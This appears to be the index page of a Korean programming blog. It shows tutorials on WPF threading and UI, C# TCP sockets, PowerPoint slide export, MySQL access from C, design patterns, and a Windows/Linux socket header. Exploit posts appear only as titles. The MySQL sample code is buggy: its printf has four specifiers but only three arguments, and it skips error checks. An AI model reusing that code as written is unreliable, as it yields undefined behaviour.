'k1rha`s Node'에 해당되는 글 388건

  1. 2012.06.03 [WPF] Thread 에서 메인 클래스의 UI 객체 사용하기 Dispatcher.Invoke 사용하기
  2. 2012.06.03 C# 기본 TCP 소켓 통신 예제 코드 (Basic socket communication in C#)
  3. 2012.06.03 C# 에서 Thread 돌리는 방법 (How to use thread in WPF )
  4. 2012.06.03 [WPF] 윈도우 최대 확대 효과 주기 [Window MaxSize effect in WPF]
  5. 2012.05.28 WPF 창에 투명 airo 효과 주기
  6. 2012.05.28 WPF 폴더 생성 & PPTX 불러와 이미지화 시키기
  7. 2012.05.24 C언어로 MYSQL 사용하기 [윈도우] (Access MySQL via C language) [windows]
  8. 2012.05.22 [ 디자인 패턴 ] 어뎁터 패턴 ( Adapter pattern ) 2
  9. 2012.05.22 winsock 에서 사용하는 함수를 linux 소켓에서 사용하기
  10. 2012.05.22 [생성 패턴] 프로토 타입 패턴 (ProtoType Pattern) 1
  11. 2012.05.22 디자인 패턴들의 요약 (summary of Design patterns)
  12. 2012.05.19 [생성패턴] 빌더 패턴 (Builder Pattern)
  13. 2012.05.13 LOB 페도라 원정대 iron_golem -> dark_eyes (LOB FC level 2)
  14. 2012.05.11 LOB 페도라 원정대 (gate -> iron_golem)
  15. 2012.05.11 tcpdump 3.6.3 remote root exploit in Free BSD
  16. 2012.05.11 samba-2.2.8 < remote root exploit
  17. 2012.05.11 samba <= 2.2.7a reply_nttrans() linux x86 remote root exploit
  18. 2012.05.11 Stunnel < 3.22 remote exploit
  19. 2012.05.06 GDB 사용법 (Usage GDB)
  20. 2012.05.06 Xinetd 데몬으로 프로그램 돌리기 (To Run program via Xinetd deamon)
  21. 2012.05.06 Bind Shellcode (port : 31337 )
  22. 2012.05.06 라디오 버튼 그룹 지정해 주기 (Grouping Radio button for multi selecting)
  23. 2012.05.06 이벤트 라우팅과 버블링 터널링 (Event Routing & bubbling and terneling... 1
  24. 2012.05.06 Expander 를 사용한 이쁜 커스텀 스택 패널
  25. 2012.05.06 리소스 데이터 바인딩과 스태틱 리소스 예제(About Static resource & resource data binding)
  26. 2012.05.05 WPF 마우스 이벤트 & 키보드 이벤트 가져오기 (Getting Mouse & keyboard Event to WPF programming)
  27. 2012.05.05 WPF 이미지 동적으로 생성 하여 추가하기. (Dynamically To add Image)
  28. 2012.05.03 옵저버 디자인 패턴 (Observer Disign pattern)
  29. 2012.05.03 C# 에서의 [STAThread] 는 왜 붙이는가? (Why STAThread is attached above C# ?)
  30. 2012.04.29 UML 작성법에 관하여 (Writing about UML)
2012. 6. 3. 22:05

메인 클래스의 combo box 를 socket 쓰레드에서 받은 메시지들로 채워 주려고 하였다. 

하지만 WPF 에서는 각 UI가 전부 스레드로 동작 된다. 스레드간의 변수 공유는 WPF 에서 기본적으로 막아 놨기 때문에 다른 방법을 써서 이 둘을 이어 줘야 한다. 


우선 singletonepattern 방식을 이용하여 하나의 클래스를 다시 생성해주고, 그 클래스에 combobox 형태의 객체를 static 으로 선언해 주자. 


Singletone.cs

 using System;

using System.Collections.Generic;

using System.Linq;

using System.Text;

using System.Windows.Controls;



static class Singletone

{


    public static ComboBox combo; 

}



이후 메인 클래스 에서는 이 combo 라는 변수에 comboBox 를 대입해 준다. 


 Singletone.combo = combo_query; 



이렇게 대입해 준뒤, 외부 스레드(여기서는 소켓 스레드) 의 코드는 dispacher 라는 방법으로 이어준다.



      Dispatcher.Invoke(DispatcherPriority.Normal, new Action(delegate

     {

          Singletone.combo.Items.Add(msg);

      }));

Dispatcher.Invoke 는 비동기식으로 변수를 사용 하겠다는 선언 같은 것이다. 

이 Dispatcher.Invoke 는 Window 클래스를 상속 받고 있어야 한다. 


소켓 클래스 구현부는 다음과 같다.


 

    public class ServerSock : Window

    {

        public void ServerRun()

        {

            //  IPAddress ipAddress = Dns.GetHostEntry("localhost").AddressList[0];

            IPAddress ipAddress = IPAddress.Parse("127.0.0.1");



            Console.WriteLine("ipAddress" + ipAddress);

            TcpListener tcp_Listener = new TcpListener(ipAddress, 5555);

            tcp_Listener.Start();

            while (true)

            {

                Console.WriteLine("1. EchoServer 대기상태.......");


                TcpClient client = tcp_Listener.AcceptTcpClient();      //클라이언트와 접속

                Console.WriteLine("2. Echo Client 접속....");


                NetworkStream ns = client.GetStream();

                StreamReader reader = new StreamReader(ns);

                string msg = reader.ReadLine();                     //메시지를 읽어 옴


                Console.WriteLine("3. [클라이언트 메시지]:" + msg);     //메시지 출력


                reader.Close();

                client.Close();




                Dispatcher.Invoke(DispatcherPriority.Normal, new Action(delegate

                {

                    Singletone.combo.Items.Add(msg);

                }));


            }


        }

    }





Posted by k1rha
2012. 6. 3. 18:09

[출처 : http://blog.naver.com/mankeys?Redirect=Log&logNo=138953202 ]


1. TCP Server


using System;

using System.Collections.Generic;

using System.Linq;

using System.Text;

using System.IO;

using System.Net;

using System.Net.Sockets;


namespace ConsoleApplication_TCPEcho01

{

    class TCP_Server

    {

        static void Main(string[] args)

        {

                IPAddress ipAddress = Dns.GetHostEntry("localhost").AddressList[0];

                Console.WriteLine("ipAddress"+ipAddress);

                TcpListener tcp_Listener = new TcpListener(ipAddress, 5555);

                tcp_Listener.Start();

                while (true)

                {

                    Console.WriteLine("1. EchoServer 대기상태.......");


                    TcpClient client = tcp_Listener.AcceptTcpClient();      //클라이언트와 접속

                    Console.WriteLine("2. Echo Client 접속....");

                    

                    NetworkStream ns = client.GetStream();

                    StreamReader reader = new StreamReader(ns);

                    string msg = reader.ReadLine();                     //메시지를 읽어 옴

                    

                    Console.WriteLine("3. [클라이언트 메시지]:" + msg);     //메시지 출력

                    

                    StreamWriter writer = new StreamWriter(ns);

                    writer.WriteLine(msg);                              //네트워크 스트림에 쓰는 듯 함

                    writer.Flush();


                    Console.WriteLine("4. [Echo1]:" + msg);

                    writer.WriteLine(msg);

                    writer.Flush();

                    

                    Console.WriteLine("5. [Echo2]:" + msg);

                    Console.WriteLine("6. 스트림과 TcpClient Close");

                    

                    writer.Close();

                    reader.Close();

                    client.Close();


                }

        }

    }

}


2. TCP Client

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.IO;

namespace ConsoleApplication_TCPEcho01
{
    public class TCP_Client
    {
        public static void Main(string[] arg)
        {
            string args0 = "localhost";     //ip
            string args1 = "5555";          //포트 번호
            string args2 = "안녕";            //메시지

            TcpClient client = new TcpClient(args0, Int32.Parse(args1));    // (ip주소 , 포트 번호)
            NetworkStream ns = client.GetStream();
            StreamWriter writer = new StreamWriter(ns);

            writer.WriteLine(args2);
            writer.Flush();
            Console.WriteLine(args2 + "를 전송합니다. ");

            StreamReader reader = new StreamReader(ns);

            string msg1 = reader.ReadLine();                //네트워크에서 스트림을 읽음
            Console.WriteLine("[Echo1]: " + msg1);
            string msg2 = reader.ReadLine();
            Console.WriteLine("[Echo2]: " + msg2);
            
            writer.Close();
            reader.Close();
            client.Close();

            Console.ReadLine();

        }// Main


    }// class

Posted by k1rha
2012. 6. 3. 18:09

소켓 통신을 할때 서버부분을 Thread 로 따로 돌려주고 메인클래스는 따로 돌리고 싶은 경우에 C# 에서는 thread 를 아주 간단하게 구현하고 메소드를 넣고 실행 할수 있다. 


Thread thrServer;


를 선언해주고, 

            

thrServer = new Thread(new ThreadStart(ServerClass.ServerRun)); //ServerClass.ServerRun 메소드 이다. 

thrServer.IsBackground = true;  //프로그램이 정상적으로 종료될 수 있다.

 thrServer.Start();



아주 간단한 방법..

            

Posted by k1rha
2012. 6. 3. 11:40

WPF로 프로젝트를 하다가 안드로이드의 fill_parents 처럼 화면을 가득 체우게 하는 효과를 주고 싶은 일이 생겼다.


너무 안드로이드에 익숙 한 탓이 였을까? height 와 width 의 값으로 주려고 하거나 코드단에서 처리해야 하는 경우만 생각 했는데, 역시 UI 왕 WPF는 이런 문제를 전체 화면 모드로 제공 해주고 있었다. 




WindowState="Maximized" 로 인하여 전체 화면을 줄수 있고 minimized 도 가능하다. 

hrizontalAlignment 와 verticalAlignment 로 초기 위치를 상위 탑으로 잡아 줄 수도 있다. 



Posted by k1rha
2012. 5. 28. 14:11

WPF 투명 airo 효과 주기를 위해 opacity를 설정해 주었지만 배경이 그냥 까만색으로 바뀌기만 한다. 

이는 배경과 융화될수 있는 AllowsTransparency 설정이 필요하기 때문이다.

또한 windowStyle 이 none 인 상태만 투명한 효과를 가진다.


어찌나 삽질을 했던지.. 


아래와같이 추가해 주면 된다. 



<Window x:Class="PictureViewer.ExplorerWindow"

    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"

    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"

    xmlns:panels3D="clr-namespace:Visual3DControls;assembly=Visual3DControls" 

    xmlns:pres="clr-namespace:Microsoft.WindowsAPICodePack.Controls.WindowsPresentationFoundation;assembly=Microsoft.WindowsAPICodePack.Shell"

  Title="ExplorerWindow" Height="400" Width="850"

        Background="Black"

        WindowStyle="None"

        AllowsTransparency="True"

        Opacity="0.5"

        Name="aaaa"

        

        >

Posted by k1rha
2012. 5. 28. 12:33

우선 WPF 참조에서 microsoft_presentation 을 추가해 줘야 한다.

이후 아래와 같은 코드.. 


 

namespace PPT_test

{

    /// <summary>

    /// MainWindow.xaml에 대한 상호 작용 논리

    /// </summary>

    public partial class MainWindow : Window

    {

        public MainWindow()

        {

            OpenFileDialog open = new OpenFileDialog();


           

            open.InitialDirectory=@"C:\";

            open.Title = "불러올 PPT를 선택해 주세요";

       //     open.Filter="All FILE(*.*)|*.*;

            open.RestoreDirectory = true;

            

     

            open.ShowDialog();

           

     

            if (open.FileName=="")

            {

                Debug.WriteLine("File error");

                return;


            }

            else

            {

               

               chkFolder("C:\\FRESENTATION");



               Microsoft.Office.Interop.PowerPoint.Application app = new Microsoft.Office.Interop.PowerPoint.Application();

               try

               {

                   Presentation ppt = app.Presentations.Open(open.FileName, MsoTriState.msoTrue, MsoTriState.msoFalse, MsoTriState.msoFalse);

                   for (int i = 0; i < ppt.Slides.Count; ++i)

                   {

                       ppt.Slides[i + 1].Export(@"C:\FRESENTATION\" + i + ".png", "PNG", (int)ppt.Slides[i + 1].Master.Width, (int)ppt.Slides[i + 1].Master.Height);

                   }

                   ppt.Close();

                   app.Quit();

               }

               catch (Exception e)

               {

                   Debug.WriteLine(e);

               }


         

            InitializeComponent();

            }

        }                


//폴더여부를 체크하는 부분 

        private void chkFolder(string sPath)

        {

            DirectoryInfo di = new DirectoryInfo(sPath);

            if (di.Exists == false)

            {

                di.Create();

            }

        }


  

    }




Posted by k1rha
2012. 5. 24. 16:53

출처 : http://blog.naver.com/asloud?Redirect=Log&logNo=10101192728



C 언어로 MySQL 연결하는 방법.



C 언어를 사용하여 MySQL을 연결하는 사용하는 방법을 남겨본다.

Java로는 많이 해보았지만 C 언어로 DB 연결을 해본 경험이 없었다. 그리하여 대강 파악한 방법을 남겨본다.

이렇게 남겨야 나중에 찾아보기라도 하지.

1. 준비

1) MySQL 설치

MySQL을 설치하면 C 개발에 필요한 해더파일들과 라이브러리들도 설치된다.

2) VIsual Studio

환경이 Windows라서 Visual Studio로 개발.

Visual Studio의 프로젝트 생성 후 필요한 해더파일, 라이브러리들을 설정해야 한다.

3) 필요한 해더 파일과 라이브러리들은 MySQL의 설치 경로 아래에 있다.

예를 들어 MySQL의 설치 경로가 "C:\Program Files\MySQL\MySQL Server 5.5" 라면

그 하위 폴더 중 include 폴더 해더 파일들이 존재

그 하위 폴더 중 lib 폴더에 라이브러리 파일들이 존재

4) Visual Studio 프로젝트 설정

해더파일 추가

[프로젝트] → [속성] 으로 들어간다.

[구성속성] → [C/C++] → [일반]

[추가포함 디렉토리]에 MySQL의 해더파일 디렉토리를 추가

라이브러리 추가

[구성속성] → [링커] → [일반]

[추가 라이브러리 디렉토리]에 라이브러리 디렉토리 추가

"libmysql.lib" 설정

[구성속성] → [링커] → [입력]

[추가 종속성]에 "libmysql.lib"을 추가한다

프로젝트 폴더에 "libmysql.dll" 파일을 복사하여야 한다. "libmysql.dll" 파일 없이 실행하면 "libmysql.dll" 파일이 없어 에러가 발생한다.

완성된 프로그램의 실행을 위해서라면 system32 폴더 밑에 "libmysql.dll" 파일을 두어야 한다.

2. API

1) 제일 첫 줄은 [#define SOCKET int] 이어야 한다고 한다.이유는 ws2_32.lib를 추가하는 수고를 덜기 위해서라고 한다.

2) 당연한 이야기이지만 mysql.h 파일을 include해야 한다. 위의 설정을 잘 했다면 my라고만 쳐도 visual studio가 알아서 파일 이름을 찾아줄 것이다.

변수

MYSQL

MySQL DB와 연결을 관리하는 구조체.

This structure represents a handle to one database connection.

MYSQL_RES

쿼리의 결과를 나타내는 자료형. Result set으로 불림.

This structure represents the result of a query that returns rows (SELECT, SHOW,DESCRIBE, EXPLAIN).

MYSQL_ROW

MYSQL_RES에서 하나의 레코드씩 값을 얻어 올 때 쓰이는 자료형. mysql_fetch_row() 함수에서 쓰임.

This is a type-safe representation of one row of data.

MYSQL_FILED

필드의 이름과 필드의 타입 등 필드에 관한 정보를 저장하는 구조체. mysql_fetch_field() 함수에서 쓰임.

This structure contains information about a field, such as the field's name, type, and size.

함수

mysql_init()

- mysql_real_connect() 함수를 위해 MYSQL 객체를 할당 및 초기화

MYSQL *mysql_init(MYSQL *mysql)

mysql이 NULL이라면 새로운 MYSQL 객체를 할당 및 초기화 하여 반환한다.

- 매개별수

mysql :

- 반환 값 : An initialized MYSQL* handle.


mysql_real_connect()

- host에서 실행중인 MySQL 데이터베이스 엔진에 연결을 설정하려고 시도하는 함수

MYSQL *mysql_real_connect(MYSQL *mysql, const char *host, const char *user, const char *passwd, const char *db, unsigned int port, const char *unix_socket, unsigned long client_flag)

- 매개변수

mysql : MYSQL 구조체의 포인터

host : 연결하고자 하는 서버의 IP 주소 또는 도메인 이름, NULL이면 localhost를 의미

user : MySQL의 로그인 ID. NULL이거나 빈 문자열이면 현재 로그인한 유저

passwd : user의 패스워드. NULL이면 패스워드가 없다는 뜻

db : 접속하려는 데이터베이스 이름. NULL 이면 기본 데이터베이스를 설정한다

port : 연결시 사용할 포트

unix_socket : unix_socket이 NULL이 아니면, 사용할 소켓이나 파이프 이름을 지정. 보통 NULL로 사용한다

client_flag : 보통 0으로 사용한다. 여러가지 플래그 값을 사용할 수 있다.

- 반환 값 : 연결이 성공하면 MYSQL* connection 핸들을 넘겨준다. 연결 실패면 NULL을 반환

mysql_close()

- 이전에 연 연결을 닫는다

void mysql_close(MYSQL *mysql)

- 매개변수

mysql : 연결을 가지고 있는 핸들

- 반환 값 : 없음

mysql_query()

- 쿼리문을 실행시킨다. 쿼리 문장에는 세미콜론(;)을 포함시키지 않는다.

바이너리 데이터를 포함시켜 사용할 수 없다(바이너리 데이터는 NULL 문자('\0')를 포함할 수 있어서). 대신 mysql_real_query()를 사용하여야 한다.

int mysql_query(MYSQL *mysql, const char *stmt_str)

- 매개변수

mysql : 연결 핸들

stmt_str : 실행할 쿼리 문. 세미 콜론을 포함하지 않는다

- 반환 값 : 성공하면 0을 반환한다

mysql_real_query()

- length 바이트 길이의 쿼리 문장을 실행. 바이너리 데이트를 포함하는 문장 사용 가능

int mysql_real_query(MYSQL *mysql, const char *stmt_str, unsigned long length)

- 매개변수

mysql : 연결 핸들

stmt_str : 실행할 쿼리 문.

length : 쿼리 문장 길이

- 반환 값 : 성공하면 0을 반환한다.

mysql_store_result()

- 쿼리 문 실행 후 결과값을 가져온다. 쿼리 결과의 모든 ROW들를 한번에 얻어 온다

MYSQL_RES *mysql_store_result(MYSQL *mysql)

- 반환 값 :

MYSQL_RES : A MYSQL_RES result structure with the results. NULL 이면 실패

mysql_use_result()

- 쿼리 문 실행 후 결과 값을 가져오는 데 mysql_store_result() 함수와는 달리 한 개의 ROW만 가져온다

MYSQL_RES *mysql_use_result(MYSQL *mysql)

- 반환 값 :

MYSQL_RES : A MYSQL_RES result structure. NULL 이면 실패

mysql_fetch_row()

- 결과 ROW들을 담은 result에서 다음 ROW를 얻어 온다

MYSQL_ROW mysql_fetch_row(MYSQL_RES *result)

- 매개 변수

result : 결과 ROW들을 담고 있는 구조체 포인터

- 반환 값 : 다음 ROW인 MYSQL_ROW 구조체


mysql_free_result()

- mysql_store_result() 함수에 의해 할당된 메모리를 해제한다

void mysql_free_result(MYSQL_RES *result)

- 매개 변수

result : 메모리를 할당할 MYSQL_RES 구조체 포인터

- 반환 값 : 없음

3. 예제 소스 코드

#define SOCKET int // 이거 해주어야 한다고 하더라고
#include<stdio.h>
#include<string.h>
#include<mysql.h> // MySQL을 연결하기 위해 꼭 필요한 해더 파일

// Database에 연결하기 위한 기본적인 정보
#define HOST "localhost" // 연결할 host 주소
#define USER "name" // 사용자 이름
#define PASS "pw" // 패스워드
#define NAME "database_name" // 접속할 데이터베이스 이름

int main(void){

char* query="select * from table_name"; // 실행할 쿼리
int len;

MYSQL* conn_ptr; // MySQL과의 연결을 담당
MYSQL_RES* res; // 쿼리에 대한 결과를 받는 변수
MYSQL_ROW row; // 쿼리에 대한 실제 데이터 값이 들어있는 변수

conn_ptr=mysql_init(NULL); // 초기화
if(!conn_ptr){
printf("mysql_init failed!!\n");
}

// MySQL에 연결
conn_ptr=mysql_real_connect(conn_ptr, HOST, USER, PASS, NAME, 3306, (char*)NULL, 0);

if(conn_ptr){
printf("연결 성공\n");
}else{
printf("연결 실패\n");
}

// 쿼리 실행
// mysql_query() 실행 후 반환값이 0이어야 성공
len=mysql_query(conn_ptr, query);

res=mysql_store_result(conn_ptr); // 전속한 결과 값을 MYSQL_RES 변수에 저장

// 쿼리 결과 값 출력
while((row=mysql_fetch_row(res))!=NULL){ // 한 ROW 씩 얻어 온다
printf("%s %s %s %s\n", row[0], row[1], row[2]); // 결과 값 출력
}

// 할당 된 메모리 해제
mysql_free_result(res);
mysql_close(conn_ptr);

return 0;
}

Posted by k1rha
2012. 5. 22. 23:43

1. 어뎁터 패턴이란?!


어뎁터 패턴은 110v 의 콘센트를 220v 단자에 꼽기위한 노력에서 시작된다고 생각하면 된다. 

아래의 그림을 보자.

이렇게 우리는 110v 를 220v 로 꼽기 위해 돼지코라 불리우는 마법의 소켓을 끼우게 된다.

어댑터 패턴 역시 이러한 마법의 소켓 역할을 하게 도와준다.


간단하게 큰 틀만 보기 위해 아래 그림을 보자.


그림을 보기 힘들다.. 그래 나도 안다. 하지만 제발 한번만 어떤 부분이 무슨 역할을 하는지 보고 다음으로 넘어가자.


우선 110v 라디오와 220v 라디오를 만들자.


T220Radio 플레이어에 220v 라디오를 넣고 동작시키면 잘 돌아가지만, 110v 라디오를 꼽으면 에러가 뜨게 된다.

이러한 110볼트의 콘센트 문제 때문에 우리는 돼지코를 끼워 220v 콘센트로 바꿔야 한다.


다시 돌아가서 만들어진 라디오의 콘센트 모양을 보자 라디오는 11 자형 라디오와  00 모양의 라디오 두가지로 이루어져 있다.


그리고 이 220v (twotwo) 콘센트를 implement 하여 돼지코 어뎁터를 만들고, 그 돼지코 어댑터의 생성자에 110v 라디오 객체를 받아와 조작하여 출력시켜 준다. 

즉 슬롯은 220v인데 110v 단자로 받아 처리하는 것이다. 




느낀점.


어댑터 패턴은 안드로이드 개발을하면서 SQL-lite를 사용할 때 DB접근을 위하여 사용했던 부분이였었다. 처음엔 SQL 쿼리문의 결과값을 그냥 가져와서 쓰지 못할까? 배열로 저장시키면 되지 않을까? 했는데, 이러한 타입형 문제가 존재하기에 불가능 하다.


난 어댑터를 사용하면서 이게 패턴인줄도 모르고 사용하고 있었던 것이다. 


어댑터 패턴은 안드로이드에서는 정말 자주 쓰였던 패턴이므로  코드까지 직접 구현하여 설명을 하였다. 


지금 이 글을 읽는사람이 누구든간에 잘 숙지되었으면 좋겠다. 



hack the planet~! 



Posted by k1rha
2012. 5. 22. 21:44

winsock 에서 사용하는 함수를 linux 소켓에서 사용하기 

혹시 나처럼 winsock.h 를 어떻게든 리눅스에 올려서 사용할 수 없을까? 를 고민하는 사람이 있다면, "그냥 linux 환경에서 다시짜는게 훨씬 속 편하다" 라는 답을 주고 싶다.


멤버십 과제로 증강현실 온라인 게임을 과제로 할 계획인데, 평소에 winsock2.h 로  소켓통신을 한지라 linux 헤더에 대한 의심을 하기 시작하던 중이다. 


예전에 winsock 공부를 할때 책에 "윈도우 소켓은 리눅스 소켓에서도 조금만 변경하여 사용 할 수 있다 " 라고 하여 그대로 복사 하였다가 수천개의 오류를 검출 했던 기억이 있던 중 indra 형이 아래와 같은 헤더를 던저 주셨다. 


아래의 헤더는 WIN32 환경일 시와 리눅스 환경일 시 어느정도 호환성을 맞춰주는 헤더이다. 


완전 매력!  헤더 원본명은 winlin.h 이고 부작용 없이 소켓을 사용 할수 있는 헤더이다. 



 

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <string.h>


/**********************************************************************

 *                             WINDOWS

 *********************************************************************/

#ifdef WIN32

#include <malloc.h>

#include <windows.h>

#include <io.h>

#include <conio.h>

#include <winsock.h>

#include <lm.h>

#include <Shlwapi.h>


#pragma comment (lib, "ws2_32")

#pragma comment (lib, "netapi32.lib")

#pragma comment (lib, "Shlwapi.lib")

#pragma comment (lib, "Advapi32.lib")

#pragma comment (lib, "advapi32")


#define open            _open

#define read            _read

#define write           _write

#define lseek           _lseek


#define unlink(f) _unlink(f);

#define sleep(s)        _sleep(s*1000)

#define close(s)        \

if(closesocket(s) == SOCKET_ERROR) { \

if(_close(s) != -1) { \

s = 0; \

} \

} else { \

s = 0; \

}


#define O_RDONLY        _O_RDONLY

#define O_RDWR          _O_RDWR

#define O_APPEND _O_APPEND

#define O_CREAT         _O_CREAT

#define O_BINARY        _O_BINARY


#define DIR_DELIM '\\'


char logbuffer[4096];


#define snprintf(b, s, ...) \

        memset(b, 0x00, s); \

        _snprintf(b, s - 1, __VA_ARGS__)


#define _DEBUG(...) \

        memset(logbuffer, 0x00, sizeof(logbuffer)); \

        memcpy(logbuffer, "[DEBUG] ", 8); \

        _snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer) - 1, __VA_ARGS__); \

        logbuffer[strlen(logbuffer) - 1] = (logbuffer[strlen(logbuffer) - 1] == '\n' ? ' ' : logbuffer[strlen(logbuffer) - 1]); \

        _snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer) - 1, " - %s(), %d line\n", __FUNCTION__, __LINE__); \

        OutputDebugString(logbuffer)


#define _ERROR(...) \

        memset(logbuffer, 0x00, sizeof(logbuffer)); \

        memcpy(logbuffer, "[ERROR] ", 8); \

        _snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer) - 1, __VA_ARGS__); \

        logbuffer[strlen(logbuffer) - 1] = (logbuffer[strlen(logbuffer) - 1] == '\n' ? ' ' : logbuffer[strlen(logbuffer) - 1]); \

        _snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer) - 1, " - %s(), %d line\n", __FUNCTION__, __LINE__); \

        OutputDebugString(logbuffer)


#define system(cmdline) \

STARTUPINFO si; \

PROCESS_INFORMATION pi; \

ZeroMemory( &pi, sizeof(pi) ); \

ZeroMemory( &si, sizeof(si) ); \

si.cb = sizeof(si); \

si.wShowWindow = SW_HIDE; \

CreateProcess(NULL, cmdline, NULL, NULL,TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); \

WaitForSingleObject(pi.hProcess, INFINITE)


#else


/**********************************************************************

 *                             LINUX

 *********************************************************************/

#include <utime.h>

#include <unistd.h>

#include <netdb.h>

#include <string.h>

#include <pthread.h>

#include <sys/stat.h>

#include <sys/wait.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/ioctl.h>

#include <netinet/in.h>

#include <net/if.h>

#include <arpa/inet.h>


#define TRUE 1

#define FALSE 0


#define ERROR_ALREADY_EXISTS 1


#define O_BINARY 0


#define DIR_DELIM '/'


char logbuffer[4096];


#define _DEBUG(...) \

        memset(logbuffer, 0x00, sizeof(logbuffer)); \

        memcpy(logbuffer, "[DEBUG] ", 8); \

        snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer), __VA_ARGS__); \

        logbuffer[strlen(logbuffer) - 1] = (logbuffer[strlen(logbuffer) - 1] == '\n' ? ' ' : logbuffer[strlen(logbuffer) - 1]); \

        snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer), " - %s(), %d line\n", __func__, __LINE__); \

        fprintf(stdout, "%s", logbuffer); \

fflush(stdout)


#define _ERROR(...) \

        memset(logbuffer, 0x00, sizeof(logbuffer)); \

        memcpy(logbuffer, "[ERROR] ", 8); \

        snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer), __VA_ARGS__); \

        logbuffer[strlen(logbuffer) - 1] = (logbuffer[strlen(logbuffer) - 1] == '\n' ? ' ' : logbuffer[strlen(logbuffer) - 1]); \

        snprintf(logbuffer + strlen(logbuffer), sizeof(logbuffer) - strlen(logbuffer), " - %s(), %d line\n", __func__, __LINE__); \

        fprintf(stderr, "%s", logbuffer); \

fflush(stderr)


#endif



/**********************************************************************

 *                             COMMON

 *********************************************************************/


#define CONN_TMOUT_SEC 1

#define CONN_TMOUT_USEC 0


#define RECV_TMOUT_SEC 5

#define RECV_TMOUT_USEC 0


#define MAX_LOCAL_ETHER 10


#define FSIZE 256

#define LINESIZE 1024




Posted by k1rha
2012. 5. 22. 09:49

1.프로토타입 패턴이란?! 

프로그램을 오래 하지 않은 사람이라면 객체가 필요할때마다 New 를 생성해서 객체를 생성해 사용 하였을 것이다.

하지만 객체를 생성할때 드는 비용이 컴퓨터 상에서는 만만치 않을 뿐더러, 너무 많은 클래스를 관리하다보면 서브 클래스를 줄이거나, 객체의 형태나 표현방식과는 무관하게 생성 하고 싶을 때가 있다. 


이를 위해 나온 것이 바로 프로토 타입! 이다. 


글씨에 테두리 모양을 넣는 객체를 생성한다고 하자.

우리는 이 글씨에 테두리를 넣을때마다 테두리 객체를 생성하여 넣어줘야 할 것이다. 

하지만 프로토타입 패턴을 이용하면 하나의 객체만을 생성하고 그 객체를 복사하여 쓸수 있다. 




정확한 표현은 아니지만 요런 느낌 이랄까?  NEW 생성자를 호출할 경우 생성자 내의 코드를 전부 재 반복해야 하기 때문에 연산이 많아진다. 하지만 메모리를 복사하여 사용할 경우 그 과정을 줄일 수 있게 된다. 

개발자는 코드로 대화하는게 가장 빠르다고 했던가?! 


아래그림과 같은 프로그램을 짠다고 생각해보자. 단순히 글짜 텍스트에 테두리를 넣어주는 프로그램이다. 


일반적으로 글자 주변에 ~~ 를 만드는 클래스, ****를 만드는 클래스, ///를 만드는 클래스 를 생성해 생성해 주어 각 클래스에 넣거나 많은 메소드(usingStar, usingSlash, using물결 ) 를 사용해서 각각을 호출 할 수 있도록 해 줘야 할 것이다. 하지만 이렇게 만들 경우에는 using 부분에 변경사항이 생겼을 때,수많은 메소드를 전부다 변경 시켜 줘야 하는 유지보수면 문제점이 생긴다. 



이때 이 객체를 하나만 생성하고 쓸때마다 복사해서 쓴다면?

그리고 두개 이상의 다른 객체를 하나의 메소드로 통일하여 사용 할 수 있다면?

 

Cloneable이라는 복사해주는 기본 클래스를 상속받아서 자신을 복사해주는 Product를 짠다. 

그리고 그때 그때 복사하여 사용해 주면 된다.



아래와 같이 구현  할 것이다. 



MessageBox 에서 Product의 use 추상 메소드를 각각 재정의 해주고, Project 형의 createClone() 메소드를 정의해준다. product 클래스에는 cloneable 클래스가 상속되어 있기 때문에 clone()이라는 메소드를 통해 자신을 복사 할 수 있다. 








우와같이 UnderLinePen 객체와 messageBox의 객체가 다른데도 불과하고 manager.register 를 통하여 각각의 객체를 등록 시켜 준다. 그리고 manager.create 를 하면 각각에 대당하는 객체로 복사를 하는것이다.


즉 다른 두 종류의 객체가 manager 를 통하여 하나로 묶어서 관리하게 된 것이다. 




이러한 프로토 타입의 사용 여부는 다른 디자인 패턴과 연동되어 많이 사용된다.

그 만큼 부작용이 적고 장점으로 뭉쳐 있는 디자인 패턴이다. 


Posted by k1rha
2012. 5. 22. 09:49

출처 : http://99yurina.blog.me/20156605313 


객체지향 원칙
바뀌는 부분은 캡슐화 한다.
상속보다는 구성을 활용한다.
구현이 아닌 인터페이스에 맞춰서 프로그래밍한다.
서로 상호작용을 하는 객체 사이에서는 가능하면 느슨하게 결합하는 디자인을 사용해야 한다.
클래스는 확장에 대해서는 열려 있지만 변경에 대해서는 닫혀 있어야 한다.(OCP)
추상화된 것에 의존하라. 구상 클래스에 의존하지 않도록 한다.
어떤 클래스가 바뀌게 되는 이유는 한가지 뿐이어야만 한다.

 

 

 

PatternDesc.
Strategy기본정의 : 
알고리즘군을 정의하고 각각을 캡슐화하여 교환해서 사용할 수 있도록 만든다. 알고리즘을 사용하는 클라이언트와 독립적으로 알고리즘을 변경할 수 있다.

- 알고리즘의 각 단계를 구현하는 방법을 서브클래스에서 구현합니다.
- 교환 가능한 행동을 캡슐화하고 위임을 통해서 어떻게 행동을 사용할지 결정
Observer기본정의 : 
한 객체의 상태가 바뀌면 그 객체에 의존하는 다른 객체들한테 연락이 가고 자동으로 내용이 갱식되는 방식으로 일대다 의존성을 정의한다.

- 어떤 상태가 변경되었을 때 일련의 객체들한테 연락을 할 수 있습니다.
Decorator기본정의 : 
객체에 추가 요소를 동적으로 더할 수 있습니다. 
서브 클래스를 만드는 경우에 비해 훨씬 유연하게 기능을 활장할 수 있습니다.

- 객체를 감싸서 새로운 행동을 제공
- 컬렉션이 어떤 식으로 구현되었는지 드러내진 않으면서도
  컬렉션 내에 있는 모든 객체에 대해 반복 작업을 처리
Abstract Factory기본정의 : 
서로 연관된, 의존적인 객체들로 이루어진 제품군을 생성하기 위한 인터페이스를 제공합니다.
